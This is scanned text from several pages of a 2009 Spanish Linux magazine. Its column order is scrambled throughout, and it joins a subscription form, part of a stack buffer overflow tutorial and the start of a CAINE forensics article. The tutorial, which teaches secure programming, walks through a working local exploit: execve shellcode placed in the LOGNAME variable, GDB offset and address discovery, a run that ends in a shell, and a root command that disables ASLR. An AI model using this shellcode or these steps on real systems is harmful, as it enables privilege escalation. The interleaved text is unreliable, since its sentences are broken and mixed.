como de CPU (idle > 20%) y que el número hacer que el sistema mejore notablemente programador para la empresa argenti- de Entrada/Salida sea elevado. Existen a costo cero. na VATES S.A. “Ingeniería de Software muchos factores para optimizar éstos, – CMMI 5” (http://www.vates.com/) los cuales se hacen mención a conti- Conclusión participando activamente en proyectos nuación. Como pudimos comprobar en este artícu- de la Software Factory. Paralelamente, lo, tener un sistema realmente optimizado también se encuentra editando un libro En sistemas con un solo disco, general- no es tarea fácil Se requieren de muchos dedicado a la Programación de Siste- mente se realiza desde el punto de vista del conocimientos técnicos y de mucha com- mas GNU/Linux. espacio, cuatro particiones de la siguien- presión sobre lo que realmente le está

48 Linux+ 10/2009

42_43_44_45_46_47_48_SAR.indd 48 2009-08-14, 11:59 Pedido de suscripción

Por favor, rellena este cupón y mándalo por fax: 0048 22 244 24 59 o por correo: Software-Wydawnictwo Sp. z o. o., Bokserska 1, 02-682 Varsovia, Polonia; e-mail: [email protected]

Nombre(s) ...... Apellido(s) ......

Dirección ......

C.P...... Población ......

Teléfono ...... Fax ......

Suscripción a partir del No ......

e-mail (para poder recibir la factura) ......

o Renovación automática de la suscripción

número de número de a partir ejemplares Precio suscripciones del número Título al año

Linux+DVD (1 DVD) Mensual con un DVD dedicado a Linux 12 69 €

En total

Realizo el pago con:

O □ tarjeta de crédito (EuroCard/MasterCard/Visa/American Express) n CVC Code Válida hasta □ transferencia bancaria a BANCO SANTANDER CENTRAL HISPANO Número de la cuenta bancaria: 0049-1555-11-221-0160876 IBAN: ES33 0049 1555 1122 1016 0876 código SWIFT del banco (BIC): BSCHESMM Fecha y firma obligatorias:

49_Formularz_prenumeraty.indd 89 2009-08-13, 14:36 hacking para linuxeros Buffer Overflows

Buffer Overflows: un mal interminable, parte 2 David Puente Castro En la primera entrega de este artículo has aprendido la esencia de los “stack overflow”, qué son y cómo explotarlos, pero el trabajo sobre los mismos ha sido bastante manual; en esta segunda entrega estudiaremos las herramientas de que disponemos para aumentar la efectividad de nuestros exploits, cómo averiguar parámetros con el mínimo esfuerzo y otros aspectos relativos a la programación segura.

ecordemos brevemente lo que hemos de- • Esta Shellcode debe ser introducida normalmente en tallado en la primera parte de este artículo. el buffer vulnerable (aunque también sería posible Esquemáticamente sabemos que: situarla en una variable de entorno si el programa que atacamos es local y el buffer vulnerable dema- [email protected] R siado pequeño). • Un buffer overflow o desbordamiento de buffer, en • Para realizar todo esto debemos conocer varias co- concreto un “stack overflow”, se produce cuando un sas. En primer lugar la dirección del inicio de nues- programa no controla la longitud de los datos intro- tro “buffer”, que es donde comenzará la Shellcode, ducidos por el usuario. Luego estos son copiados y es la dirección con que debemos sobrescribir el en una zona de la memoria, llamada pila, donde se valor del registro EIP guardado. El otro dato impor- encuentra el buffer en sí, y que una vez sobrepasado tante a averiguar es exactamente cuántos datos de- (desbordado), permite sobrescribir la dirección de bemos introducir en nuestro buffer hasta alcanzar retorno de una función vulnerable. ese valor EIP guardado y sobrescribirlo. • Dadas estas consignas sabemos que es posible mo- dificar el valor de este registro guardado (registro IP Bien, básicamente estos conocimientos fueron adquiri- o EIP) y alterar así el flujo de ejecución del progra- dos en el número anterior de LiNUX+. Esta vez nuestro ma redirigiéndolo a otro lugar de nuestra elección. objetivo principal se centrará en facilitar la tarea de • Este “otro lugar” normalmente será un Shellcode, conseguir los datos mencionados en el punto 5. Para ello un código especial encargado de ejecutar una haremos uso de una herramienta bien conocida dentro del de comandos con permisos de root siempre que el mundo de los desarrolladores y programadores de Linux programa vulnerable tenga el bit “setuid” activado. (y Unix), cuya capacidad esencial es la de analizar hasta

50 Linux+ 10/2009

50_51_52_53_54_55_56_57_Buffer2.indd 50 2009-08-14, 12:37 hacking para linuxeros Buffer Overflows

nivel básico si quiere seguir el curso de la aplicación. GDB es un programa que trabaja en línea de comandos y que, a su vez, ofrece una inter- faz de órdenes que el usuario debe introducir para que este realice sus tareas. Estas órdenes son realmente muy sencillas y una vez habi- tuado a ellas, uno se desenvuelve de un modo muy eficiente en este entorno. No obstante, para aquellos amantes de las GUIs (Interfaz Gráfica de Usuario), cier- tos programadores decidieron dedicar su tiempo a desarrollar front-ends especial- mente cuidados para este depurador. Entre los más famosos tenemos a DDD, comple- tamente basado en ventanas y menús que aumenta sobremanera las capacidades nor- males de GDB agregando elementos tales como esquemas gráficos de las estructuras y variables en memoria. Puedes ver un ejemplo de DDD en marcha observando la ilustración número 1. Para quienes precisen una solución in- termedia, mi mejor consejo es utilizar CGDB, una implementación gráfica de GDB basada en la librería “ncurses”, lo cual significa que todavía se ejecuta dentro de una shell, pero Figura 1. DDD, Display Data Debugger que ofrece capacidades de interactuación el más mínimo detalle un binario compilado salvaje”, esta información de depuración extendidas así como el desplazamiento por para este Sistema Operativo. habrá sido eliminada, y sus conocimientos las líneas de código mediante el teclado, el de ensamblador deberán de ser al menos de establecimiento de puntos de ruptura con GDB: el debugger de Linux GDB es conocido como un depurador a ni- vel de código fuente. Sus funciones princi- pales son las de desensamblar un ejecutable compilado en Linux (esto es, traducir el lenguaje máquina del binario en un lenguaje comprensible por el usuario o programador como lo es el lenguaje ensamblador), y la de ofrecer un motor de depuración, que signi- fica la posibilidad de ejecutar un programa paso a paso (instrucción a instrucción), y poder comprobar a cada momento el esta- do real del mismo: el valor de los registros, el contenido de la memoria, etc... GDB también es capaz de mostrar el código fuente original de un ejecutable, pero para ello el mismo debe haber sido compilado antes en gcc con la opción “- g”, que mantiene toda la información de depuración en el programa con el fin de hacer mucho más sencillo el seguimiento de las instrucciones. Como supondrás, esto es una gran ventaja para el programador que busca fallos o aspectos a mejorar en sus programas; pero para un exploiter, que normalmente se encuentra en un “entorno Figura 2. CGDB, The Curses Debugger

www.lpmagazine.org 51

50_51_52_53_54_55_56_57_Buffer2.indd 51 2009-08-14, 12:37 hacking para linuxeros Buffer Overflows

sólo una pulsación y un montón de ventajas pezar veamos un resumen de los comandos Si no se le proporciona un número, pregun- más que sólo se llegan a comprender con básicos: tará si desea eliminar todos los puntos de su uso. La ilustración número 2 muestra el ruptura colocados hasta el momento:

aspecto de CGDB. list función Presentamos estas herramientas para dar run [argumentos] conocimiento general a aquellos iniciados Muestra el código fuente o ensamblador de la que deseen aprender conceptos de depura- función especificada como argumento: Comienza la ejecución del programa desde el ción de un modo más sencillo; pero para el principio con los parámetros proporcionados

tema que nos traemos entre manos, desarro- disassemble función como argumento: llaremos los ejemplos bajo el GDB original disass función en línea de comandos. El motivo principal es cont que este se encuentra instalado por defecto Muestra el código ensamblador de la función c en todas las distribuciones Linux y los demás especificada como argumento: podrían estarlo o no. Continúa la ejecución del programa si este ha

GDB, sin opciones, no precisa otro break función sido detenido debido a un breakpoint estableci- argumento más que el binario que se desea break linea do por el usuario o por cualquier otra razón: analizar, opcionalmente también se le puede

proporcionar un archivo “core” (volcado de Establece un breakpoint (punto de ruptura) bt (backtrace) memoria) generado por el propio sistema en una función o línea especificada como cuando un programa ha sufrido un error argumento (esto será explicado en detalle a Muestra un rastreo de la pila, esto es un lis- grave. En este punto el sistema operativo continuación): tado secuencial y ordenado de las funciones guarda una imagen exacta del estado actual que han sido ejecutadas hasta el momento de

en que el ejecutable rompió para su ulterior delete num la detención actual del programa: análisis post-mortem, pero esto no lo vere- del num mos aquí. info registers Vamos a ver a continuación el modo Elimina un breakpoint indicando el número i r de operación esencial de GDB. Para em- según el orden en que han sido establecidos. Muestra los valores de todos los registros del procesador:

print expr

Muestra el valor de una expresión (la expre- sión mínima sería una variable o una posición específica de la memoria:

next

Figura 3. Calculando offset con GDB Ejecuta una sola instrucción del programa, pero si se encuentra con un “call” (una lla- mada a otra función), no entra en la misma y continúa la ejecución en la línea que prosi- gue a esta llamada:

step

Lo mismo que el anterior comando, pero step sí que entra dentro de una función si esta es llamada de modo que el usuario pueda inves- tigar qué es lo que ocurre en ella:

jump línea

Salta y continúa la ejecución en una línea o dirección concreta del programa especificada como argumento:

Figura 4. Averiguando dirección de inicio del buffer nombre[ ] help [item]

52 Linux+ 10/2009

50_51_52_53_54_55_56_57_Buffer2.indd 52 2009-08-14, 12:37 hacking para linuxeros Buffer Overflows

Muestra información adicional sobre un co- argumentos propios que requiere nuestra ¿Qué quiere decir esto? Pues que hemos mando concreto. aplicación, así que si escribimos la orden sobrescrito la dirección de retorno de la fun- “run blackngel”, el programa correrá nor- ción func( ) con los valores hexadecimales

quit malmente y acabará por mostrarnos el men- de nuestra cadena de entrada, y que cuando Sale de GDB. saje: “Bienvenido a LiNUX+ blackngel ”. intentaba regresar a main( ) en realidad ha Pero esto no es muy interesante. Lo accedido a una dirección que no se encon- Es muy importante decir también que, si des- que si resulta atractivo es ver la salida de traba mapeada, y de ahí el error. pués de la ejecución de un comando cualquie- GDB si introducimos una entrada de datos Mencionamos al principio de nuestro ra, mientras GDB está esperando otra orden, malvada como la que utilizamos en la pri- artículo que uno de los datos que necesitába- presionamos la tecla ENTER, GDB repetirá mera entrega: mos para una explotación exitosa del progra- y ejecutará el comando anterior sin necesi- ma vulnerable era la cantidad de relleno que

dad de reescribirlo. Esto es muy útil con las (gdb) run `perl -e debemos añadir antes de sobrescribir el valor órdenes “next” y “step”. 'print "A"x64'` EIP guardado. Si piensas un poco verás que También vimos que algunas ordenes pre- Starting program: puedes introducir una cadena como “AAAA- sentan abreviaciones. En realidad toda or- /home/blackngel/Exploiting/ BBBBCCCCDDDDEEEE...” y, observando den tiene muchas abreviaciones, siendo la bo/prog `perl en qué dirección rompe el programa, cono- más corta aquella combinación de caracte- -e 'print "A"x64'` cer el offset justo. Probemos y veamos el res que no tenga otra función asignada. resultado en la Figura 3.

Soy consciente de que muchas cosas Bienvenido a LiNUX+ GDB nos informa que la dirección que requieren de explicación, y de ello nos va- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA provoca el fallo de segmentación es “0x4c4 mos a encargar en los siguientes párrafos. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA c4c4c”. Si traducimos esos valores a código Recordemos el programa vulnerable ASCII, obtenemos “LLLL”. Sabemos que

de nuestro anterior artículo “prog.c”. Si Program received signal SIGSEGV, “K” (la letra anterior a L) es la undécima deseamos cargarlo en GDB, desde la línea Segmentation fault. letra del alfabeto; multiplicado por 4 tene- de comandos no tenemos más que hacer lo 0x41414141 in ?? () mos un relleno de 44 antes de sobrescribir la siguiente: “$ gdb ./prog”. Hasta aquí bien; dirección de retorno. luego GDB nos mostrará una breve reseña Esto ya nos proporciona mucha más infor- Cabe decir que el framework Metasploit con la versión que tenemos instalada en el mación. Por un lado, GDB nos informa que utiliza esta técnica de cálculo de offsets con sistema (a no ser que omitamos la misma el programa ha sufrido un error grave, y que dos pequeños programas; el primero generan- con la opción “-q”), y en pantalla se mostra- en concreto se trata de una fallo de segmen- do un patrón de letras único e irrepetible, y el rá un prompt como: “(gdb)”. Esto nos indica tación. Por otro lado nos indica dónde se ha segundo indicando el offset exacto a partir que GDB está preparado y dispuesto para producido este error, y vemos que ha sido de los cuatro caracteres indicados por GDB recibir comandos. exactamente cuando se ha intentado ejecutar y que se le indican como argumento. Como ya dijimos, el comando “run” algo en la dirección “0x41414141”, la cual, A continuación dedicaremos nuestros nos permite ejecutar el programa; claro como ya sabemos, resulta ser la traducción esfuerzos a conocer la dirección en que co- está, lo más lógico sería proporcionarle los a hexadecimal de los caracteres “AAAA”. mienza el buffer declarado dentro de la fun- ción func( ). Para ello lo mejor es ejecutar Listado 1. Salida orden “disass” el programa nuevamente, pero ordenando a GDB que se detenga justo cuando esté den-

(gdb) disass func tro de esta función, de modo que podamos Dump of assembler code for function func: examinar el contenido de la pila (stack). 0x080483a4 : push %ebp La orden “break” es la encargada de de- 0x080483a5 : mov %esp,%ebp tener la ejecución del programa en un punto 0x080483a7 : sub $0x38,%esp deseado. Tan sencillo como esto: 0x080483aa : mov 0x8(%ebp),%eax 0x080483ad : mov %eax,0x4(%esp) (gdb) break func 0x080483b1 : lea -0x28(%ebp),%eax Breakpoint 1 at 0x80483aa 0x080483b4 : mov %eax,(%esp) 0x080483b7 : call 0x80482dc Ahora podemos ver el código que compone 0x080483bc : lea -0x28(%ebp),%eax func( ) con la orden “disass”. Echa un vis- 0x080483bf : mov %eax,0x4(%esp) tazo al listado número 1 para visualizar la 0x080483c3 : movl $0x80484c4,(%esp) salida del comando. 0x080483ca : call 0x80482ec Entre varias instrucciones en ensambla- 0x080483cf : leave dor que por el momento no hace falta que 0x080483d0 : ret comprendas, podemos ver dos llamadas (ca- End of assembler dump. ll) a las funciones strcpy( ) y printf( ), exacta- mente las que llamábamos en el código fuente original.

www.lpmagazine.org 53

50_51_52_53_54_55_56_57_Buffer2.indd 53 2009-08-14, 12:37 hacking para linuxeros Buffer Overflows

Es curioso ver también cómo cuando es- Listado 2. Proceso de explotación tablecimos el breakpoint, la dirección en que GDB dijo que se detendría fue “0x080483aa”

blackngel@mac:~/Exploiting/bo$ export LOGNAME=`perl -e 'print "\x31\ que es la cuarta instrucción de func( ) y no la xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\ primera como cabría esperar. Esto se produce xe1\xb0\x0b\xcd\x80"'` porque GDB sabe que cada función en un binario está compuesta por un prólogo (las 3 primeras instrucciones), un cuerpo de fun-

blackngel@mac:~/Exploiting/bo$ gdb -q ./prog ción, y un epílogo (2 últimas instrucciones). (gdb) break main La misión del prólogo de función es Breakpoint 1 at 0x80483d7 establecer el marco de pila actual para dicha (gdb) run función, lo cual se produce igualando el pun- Starting program: /home/blackngel/Exploiting/bo/prog tero superior de pila ESP con el puntero base EBP, y restando luego la cantidad de bytes necesarios a ESP para contener las variables

Breakpoint 1, 0x080483d7 in main () declaradas dentro de la función. No hace falta Current language: auto; currently asm que comprendas esto por el momento. Lo (gdb) x/16s 0xc0000000-430 más interesante es lo siguiente. 0xbffffe52: "fault" Sabemos que func( ) solo reserva 32 bytes 0xbffffe58: "no_proxy=localhost,127.0.0.0/8,*.local" para el buffer nombre[ ]. 32 en hexadecimal 0xbffffe7f: "LOGNAME=1Ph//shh/bin\211PS\211\v\200" es 0x20; por el contrario, vemos que la can- 0xbffffe9f: "DBUS_SESSION_BUS_ADDRESS=unix:abstract= tidad restada a ESP es 0x38 que en decimal /tmp/dbus-jOH7k380ko,guid=e61480dadcb0a023 es 56, espacio de sobra, ¿para qué?, no nos aa964a794a5cc104" importa, pero aquí es donde queda claro que 0xbfffff01: "XDG_DATA_DIRS=/usr/local/share/:/usr/share/: la cantidad de relleno para sobrescribir una /usr/share/gdm/" dirección de retorno puede ser variable. 0xbfffff3d: "LESSOPEN=| /usr/bin/lesspipe %s" Pero no nos desviemos. Ya explicamos en 0xbfffff5d: "WINDOWPATH=7" la entrega anterior que ESP apunta a la cima 0xbfffff6a: "DISPLAY=:0.0" de la pila, que es normalmente el comienzo o 0xbfffff77: "LESSCLOSE=/usr/bin/lesspipe %s %s" está cerca de nuestra única variable o buffer 0xbfffff99: "XAUTHORITY=/home/blackngel/.Xauthority" declarado, en la ilustración número 4 puedes 0xbfffffc0: "COLORTERM=-terminal" observar cómo consultamos el contenido de 0xbfffffd9: "/home/blackngel/Exploiting/bo/prog" la memoria en esa dirección antes y después 0xbffffffc: "" de la llamada a strcpy( ). 0xbffffffd: "" Tranquilidad, lo explicaré con calma para 0xbffffffe: "" que quede claro. Recordemos que habíamos 0xbfffffff: "" establecido un punto de ruptura al principio (gdb) del 1 de func( ) para que el programa se detuviese (gdb) run `perl -e 'print "A"x44 . "\x87\xfe\xff\xbf";'` al alcanzar este punto, por lo tanto hemos eje- The program being debugged has been started already. cutado el programa con los parámetros ade- Start it from the beginning? (y or n) y cuados gracias a la orden “run” y el programa se ha detenido tal y como esperábamos. Seguidamente hemos consultado el con-

Starting program: /home/blackngel/Exploiting/bo/prog `perl -e 'print tenido de la memoria en la dirección del regis- "A"x44 . "\x87\xfe\xff\xbf";'` tro ESP. La orden “x” sirve para este propósito y veremos algunas variaciones al final de este artículo. De momento basta saber que “x” es

Bienvenido a LiNUX+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA la orden en sí, y lo que está después de la barra diagonal es la cantidad y el formato del contenido a mostrar, en esta caso 16 direccio-

Executing new program: /bin/sh nes en formato hexadecimal. (no debugging symbols found) Observamos pues que no hay nada inte- (no debugging symbols found) resante que ver en la memoria antes de que strcpy( ) se haya ejecutado. Luego volvemos a utilizar la orden “break” para establecer un

sh-3.2$ breakpoint después de strcpy( ). Si vuelves a mirar el listado 1 verás que lo que indicamos como argumento es justamente la instrucción

54 Linux+ 10/2009

50_51_52_53_54_55_56_57_Buffer2.indd 54 2009-08-14, 12:37 hacking para linuxeros Buffer Overflows

posterior aunque la orden “break 0x080483bc” NULL, luego viene el nombre del programa Recuerda que debemos indicar exactamente hubiera sido equivalente. y luego las variables de entorno. el inicio de la shellcode, pues el más mínimo Continuamos la ejecución del programa Piensa ahora, desde una shell tú puedes error podría frustrar nuestro ataque. con “c” y este vuelve a detenerse; por tanto, añadir o modificar una variable de entorno volvemos a consultar el contenido de la me- para que contenga una shellcode, luego de Prácticas moria en ESP, y esta vez sí que divisamos cargar el proceso, como hemos visto, esta de programación segura una gran cantidad de valores “0x41” (ca- estará dentro del espacio de direccionamien- Lo prometido es deuda; aunque no entraremos racteres A), y el primero de ellos nos indica to del programa y si obtenemos su dirección, en detalles muy profundos sobre cómo apro- exactamente dónde comienza nuestro buffer simplemente debemos sobrescribir un regis- vechar esta clase de errores, vamos a comen- nombre[ ], que es la dirección “0xbffff4a0”. tro EIP guardado con la misma. tar por qué utilizar una función como strncpy( ) Con estos datos en nuestras manos, ya En la imagen anterior observamos que no soluciona todos los problemas referentes podemos probar a explotar el programa in- una de las variables de entorno se llamaba a desbordamientos de buffer. cluso desde dentro de GDB. Lo mejor de es- “LOGNAME”; vamos a modificar su conte- Mucha gente finaliza sus artículos sobre to, es que si nos equivocamos en algo, GDB nido por nuestra shellcode y luego averiguar overflows argumentando que el uso de una nos advertirá siempre del error exacto que se su dirección. El proceso es muy sencillo, sentencia como la siguiente proporciona produzca en el programa, y podremos solu- puedes ver todo el proceso en el listado 2. completa inmunidad: cionarlo de forma instantánea. Podemos de- Si usas un poco tu intuición, descubrirás

cir entonces que ahora ya NO estamos reali- que la dirección efectiva que utilizamos para strncpy(buff_dst, buff_src, zando un “ataque a ciegas”. Haciendo uso sobrescribir EIP es exactamente “0xbffffe7f” sizeof(buff_dst)); del Shellcode que ya conocimos en la prime- más la longitud de la cadena “LOGNAME=”. ra entrega de este artículo, observa el resul- tado en la ilustración número 5. Como siempre, primero la Shellcode, luego el relleno, y por último la dirección de retorno. Y el éxito está asegurado.

Buffers pequeños Dado que todavía podemos explicar algunas cosas más de GDB, aprovecharé para men- cionar la problemática que se produce cuan- do un buffer es demasiado pequeño como para contener nuestra Shellcode. Ya mencionamos que la solución más practica a esto, suele ser situar la Shellcode dentro de una variable de entorno. Las pre- guntas son: cómo y por qué. El porqué es fácil de responder. Cuando un programa es cargado en la memoria para ser ejecutado este reserva un espacio en la pila (en el tope de la pila) donde son guarda- dos ciertos datos como pueden ser: el nom- Figura 5. Explotando ./prog desde GDB bre del programa, los argumentos pasados al programa, las variables de entorno y otras cosas más... Con la experiencia sabemos que la direc- ción tope de un proceso es “0xC0000000”. Si examinamos la memoria de ahí hacia atrás podemos encontrar todos estos datos. Anteriormente hemos utilizado la orden “x/ x” de GDB para extraer valores hexadecima- les de la memoria; también podemos utilizar la orden “x/s” para extraer cadenas. Observa la figura número 6 que describiremos a con- tinuación. Lo que vemos en la imagen está acorde con la estructura bien conocida de un binario ELF en Linux, que dice que los cuatro últi- mos bytes antes del final de la memoria son Figura 6. Examinando el entorno de un proceso

www.lpmagazine.org 55

50_51_52_53_54_55_56_57_Buffer2.indd 55 2009-08-14, 12:37 hacking para linuxeros Buffer Overflows

Imagina que ejecutamos el programa de Listado 1. Uso incorrecto de strncpy( ) la siguiente forma:

#include #include $ ./prog AAAAAAAAAAAAAAAA void func() BBBBBBBBBBBBBBBB { char buff_a[16]; O la fórmula equivalente: char buff_b[24]; char buff_c[16]; $ ./prog `perl -e 'print “A”x16 . strncpy(buff_c, argv[1], sizeof(buff_c)); /* [1] Mal */ “ “ . “B”x16;'` strncpy(buff_b, argv[2], sizeof(buff_b)-1); /* [2] Bien */ strcpy(buff_a, buff_c); /* [3] ¿ Bien ? */ La figura 7 nos ofrece una representación del } problema. int main(int argc, char *argv[]) Nuestro programa ha interpretado que { el final de cadena de buff_c es en realidad if (argc < 3) el final de cadena buff_b, ya que ahí es don- exit(1); de se encuentra el byte null más próximo, func(); y por tanto la futura llamada a strcpy( ) ha return 0; copiado en realidad 32 bytes en vez de 16, } que era lo esperado, y por tanto, vemos en la ilustración cómo tanto los valores guar- dados de EBP y EIP son sobrescritos. Si bien esto puede ser cierto en alguna en el tercer parámetro, pero nunca comprue- Con los conocimientos adquiridos tan- situación específica, en otras puede con- ba que el buffer de destino termine en un to en esta entrega como en la anterior, tie- vertirse en una acción realmente peligrosa. byte null. nes todo lo que necesitas para explotar esta Recordemos que el lenguaje de progra- Echando un vistazo al programa, parece aplicación de un modo exitoso; solo que mación C interpreta las cadenas como un complicado ver la vulnerabilidad en sí. En debido al reducido espacio de los buffers, conjunto de bytes de tipo char que siempre [1], vemos que serán copiados en buff_c has- recuerda que debes poner tu Shellcode son finalizadas en un carácter nulo “\0” ta 16 bytes como máximo del primer argu- dentro de una variable de entorno, y encon- o simplemente 0. mento pasado al programa. En [2] se copian trar su dirección para luego sobrescribir La cuestión es, que si nosotros de- en buff_b hasta 23 bytes como máximo del EIP con esta. claramos dos buffers seguidos dentro del segundo argumento pasado al programa. Por ámbito de una función, estos serán situados este motivo, parece que la llamada a strcpy( ) Soluciones en memoria (en la pila) también de forma en [3] es segura, ya que como en buff_c tan Básicamente la solución es única, aunque consecutiva. La única forma de saber dón- solo se copiaron 16 bytes, y la capacidad de esta puede alcanzarse por caminos diferen- de acaba uno y dónde comienza el otro es buff_a es la misma, este último buffer nunca tes. La primera forma es asegurarse manual- precisamente ese byte null que finaliza la se desbordará. mente que todos los buffers terminan con primera cadena. Bueno, en realidad la di- Pero lo que realmente ocurre no es así, un byte null; para ello, en el ejemplo ante- rección de inicio del segundo buffer siem- strcpy( ) necesita saber donde termina buff_c rior podríamos haber actuado de la siguien- pre se mantiene estática, pero el problema para copiar la cadena dentro de buff_a. Si no- te manera: radica en que si el primer buffer no contiene sotros introducimos un primer argumento de

un byte null, el programa seguirá buscando 16 caracteres de longitud, estaremos llenán- #define MAXSIZE 16 uno hasta que lo encuentre, en este caso dolo por completo y no dejando espacio para buffer[MAXSIZE]; será el byte null del segundo buffer, e in- el byte null finalizador de cadena, por tanto strncpy(buffer, argv[1], MAXSIZE); terpretará este como el final de cadena del strcpy( ) seguirá buscando en la memoria buffer[MAXSIZE-1] = '\0'; primero. hasta encontrar uno. Como buff_b es conti- Esto puede resultar lioso, pero un ejem- guo en la memoria a buff_c, es lógico pensar Si el código de nuestro programa es de- plo aclarará el problema. Vea el programa que el primer byte null que encontrará será masiado amplio o complejo, quizás el he- vulnerable del listado número 3. el final del propio buff_b, ya que allí sólo se cho de hacer todas las cadenas “null termi- El problema aquí es que strncpy( ) simple- copiaron 23 bytes del segundo argumento nated” de forma manual puede resultar algo mente copia en el buffer destino tantos bytes pasado al programa y se dejó espacio para su tedioso y/o artificial. Los programadores del buffer origen como le sean indicados byte null apropiado. de BSD se preocuparon por este proble- ma y crearon dos funciones que realizan esta sencilla operación de forma intrínseca, sus nombres son “strlcpy( )” y “strlcat( )” y sus prototipos de función son exactamen- te iguales a la función strncpy( ) y su com- Figura 7. Problema de strncpy( ) con buffers adyacentes pañera.

56 Linux+ 10/2009

50_51_52_53_54_55_56_57_Buffer2.indd 56 2009-08-14, 12:37 hacking para linuxeros Buffer Overflows

La función strlcpy( ) se encarga de tribuciones Linux implementan algún mecanis- compilando con la opcion “--no-stack-pro- añadir siempre un carácter nulo al final del mo de protección contra este tipo de vulnerabi- tector”. Esta protección es conocida como buffer destino sea cual sea la longitud de los lidades. La más común suele ser el estableci- “StackGuard” y funciona simplemente aña- datos que se introduzcan como parámetro, miento de direcciones de pila aleatoria o ASLR, diendo un valor “canary” entre el buffer aunque esto provoque pérdida de informa- elemento que provoca que seamos incapaces de declarado en la función y los valores EBP ción. Lo importante es que nunca se pro- saber en qué dirección exacta se encuentraun y EIP guardados. Obviamente, si alteramos ducirá un problema de desbordamiento por buffer o una dirección de retorno antes de su estos dos valores, significa que antes hemos la unión errónea de buffers declarados de ejecución. machacado el “canary”; __stack_chk_fail( ) forma adyacente en la memoria. No obstante, para aquellos que deseen se encarga de comprobar si este valor fue Tanto strlcpy( ) como strlcat( ) no son fun- realizar las pruebas descritas en esta saga, modificado, y en ese caso detiene la ejecu- ciones estándar que se encuentren disponibles pueden desactivar este mecanismo (siempre ción del programa sin ejecutar nuestro código en todas las variantes unix, es por ello que que tengan permisos de root), con el siguiente arbitrario. la mayoría de programadores que acostum- comando: El “canary” es un valor aleatorio que no bran a utilizarlas suelen descargar y aña- se puede conocer antes de la ejecución del

dir el código fuente de las mismas a sus pro- # echo 0 > /proc/sys/kernel/ programa, y por lo tanto, ya que no se puede pios proyectos. Puedes descargar las mismas randomize_va_space predecir, no tenemos forma de mantenerlo en los enlaces citados en las referencias al con el mismo valor durante el ataque. final de este artículo. Para quienes piensen que esto mitiga de raíz No obstante, en la revista Phrack ya han si- el problema, les adelanto que están equivo- do presentadas varias técnicas que sortean esta Conclusión cados; ciertas pruebas ya han demostrado clase de protección. Como siempre, un nuevo Me gustaría aclarar que no todo ha sido dicho que el mapeo de estas direcciones no es tan método de seguridad da pie a una nueva téc- dentro del campo de los “stack overflow”. Para “aleatorio” como dice ser, y todavía existen nica de ataque. empezar, en la actualidad la mayoría de dis- posibilidades de ejecución de código en un Con todo esto quiero dejar claro que to- programa vulnerable, pero esto es un tema davía quedan muchos aspectos que debes de estudio que dejaremos pendiente para una estudiar acerca de los desbordamientos de nueva y emocionante entrega. pila. Entre ellos: En la red Uno debe ser consciente también que hasta este momento hemos compilado todos nues- • Técnicas Return Into To Libc, • [1] Desbordamiento de búfer: tros ejemplos con la versión 3.3 de GCC. A par- • Abuso del Frame Pointer (EBP), http://es.wikipedia.org/wiki/ tir de la versión 4.1 fue añadida una capa de • Técnicas Ret2Ret, Ret2Pop, etc..., Desbordamiento_de_b%C3%BAfer protección que comprueba si se ha producido • Overflow de enteros. • [2] Smashing the Stack for Fun and una alteración de la dirección de retorno antes Profit: del epílogo de una función. Puedes acceder a una buena noción de todos http://insecure.org/stf/ De haber compilado nuestros ejemplos estos interesantes temas en los artículos pu- smashstack.html con GCC 4.1 o superior, el desensamblado blicados en última edición de la revista elec- • [3] GDB: de func( ) hubiera sido igual, salvo que adver- trónica SET (Saqueadores Edición Técnica), http://www.gnu.org/software/gdb/ tiríamos una llamada a una función “__stack_ la número 37, que han sido escritos por el • [4] The Data Display Debugger: chk_fail( )” antes de las instrucciones “leave; autor de este documento. http://www.gnu.org/software/ddd/ ret”. Esto puede ser desactivado a su vez • [5] The Curses Debugger: http://cgdb.sourceforge.net/ PUBLICIDAD • [6] Código fuente strlcpy( ): http://www.openbsd.org/cgi-bin/ cvsweb/~checkout~/src/lib/libc/ string/strlcpy.c?rev=1.11;content- type=text%2Fplain • [7] Código fuente strlcat( ): http://www.openbsd.org/cgi-bin/ cvsweb/~checkout~/src/lib/libc/ string/strlcat.c?rev=1.13; content-type=text%2Fplain • [8] Bypassing StackGuard and StackShield: http://www.phrack.org/issues.html?is sue=56&id=5#article • [9] SET (Saqueadores Edición Técnica): http://www.set-ezine.org

www.lpmagazine.org 57

50_51_52_53_54_55_56_57_Buffer2.indd 57 2009-08-14, 12:37 seguridad CAINE

CAINE Entorno de Investigación Asistido por computadora Alonso Eduardo Caballero Quezada CAINE es un entorno de investigación asistido por computadora, una distribución GNU/ Linux live creada por Giancarlo Giustini como un proyecto de Forense Digital para el Centro Interdepartamental para la Investigación sobre Seguridad (CRIS), apoyada por la Universidad de Módena y Reggio Emilia. CAINE ofrece un completo entorno forense que está organizado para integrar herramientas de software existente, como módulos de software, y proporciona además una interfaz gráfica amigable.

os principales objetivos de diseño que tiene • Firefox 3.0.6 (factible de actualización), por objeto garantizar CAINE son los siguien- • Gtkhash, una interfaz para realizar hash de archivos, tes: • Nuevas características de reporte: se añade el nombre del investigador y el caso, [email protected] L • Reporte en varios idiomas: italiano, inglés, alemán, • Un entorno interoperable que apoye al investigador francés y portugués, digital durante las cuatro fases de la investigación • Firefox se inicia con una lista de herramientas y un digital. breve manual de uso. • Una interfaz gráfica de usuario amigable. • Una compilación semi automatizada del reporte final. Políticas de CAINE Política de montado de CAINE : La política de montado para Principales Características cualquier dispositivo interno o externo adoptado por CAINE es el mismo de Helix: nunca montar automáticamente algún • Wintaylor, una interfaz forense para entornos Windows, dispositivo. Cuando el usuario hace clic en el icono del dispo- • Página HTML compatible con IE para ejecutar herra- sitivo, el sistema lo montará en modo de sólo lectura. mientas forenses en Windows, Cuando un usuario decide montar un dispositivo • ntfs-3g actualizado al 1º de enero de 2009 (resuelta mediante el Disk Mounter applet, éste siempre lo montará una falla en ntfs-3g), con las siguientes opciones: ro, noatime, noexec. La Figu- • Nueva opción de arranque: Modo texto, ra 1 muestra la salida del comando mount. • Los paquetes originales son de Ubuntu 8.04 (es facti- Si el usuario decide montar el dispositivo mediante la ble actualizar a Ubuntu 9.04), terminal, se puede utilizar el comando mount, pero se de-

58 Linux+ 10/2009

58_59_60_61_62_63_64_65_Caine.indd 58 2009-08-13, 14:12 seguridad CAINE

